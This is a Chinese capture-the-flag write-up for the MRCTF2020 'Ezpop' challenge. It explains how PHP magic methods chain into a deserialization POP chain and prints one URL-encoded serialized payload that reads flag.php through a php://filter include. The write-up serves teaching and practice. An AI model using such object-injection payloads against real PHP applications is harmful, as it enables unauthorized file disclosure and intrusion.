MRCTF2020Ezpop
知识点
反序列化
解题
打开题目


告诉我们flag在 flag.php ,然后给了三个类。看到unserialize(),可以想到这里要想办法利用反序列化,然后我们来看看几个关于反序列化的魔法函数:
Modifier 类 里面有一个 __invoke(),这个是把对象当做方法用的时候,会调用这个方法
Show 类 里面有一个 __toString(),这个是把对象当字符串处理的时候会调用,还有一个 wakeup()方法,这个是反序列化的时候会直接调用的函数
Test类 里面有一个 __get(),这个是类调用不存在的属性的时候,会调用这个方法。
一般我思考反序列化的问题时,我会先找到利用的落脚点,这里的落脚点是利用 invoke()函数调用append(),利用 include(),结合php伪协议可以读flag.php,然后反着推,要调用 invoke(),一定得是一个对象被当做方法进行了调用,我们可以看到__get()就是做这个的,如果我们使得get()里的function为 Modifier类,就行,那怎么触发get(),我们需要调用一个不存在的属性,所以只能想到Show 类 为 pop链的开始端了,然后到这里,我思路断了一下,因为我找不到如何调用Show类的 tostring(),到这里我也搞清楚了我之前存在的一个误区,我以为只有echo 一个对象的时候才会调用tostring。实际上,tostring 给的定义是: 当对象被当做字符串进行处理的时候,可以发现 wakeup()里面,有一个 preg_match函数,且参数为 $this->source,我们这里使得 source为一个Show类,不就是类被当做字符串处理了吗?
最终构造的POP链:


1 | O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D |
传过去:

解码得到flag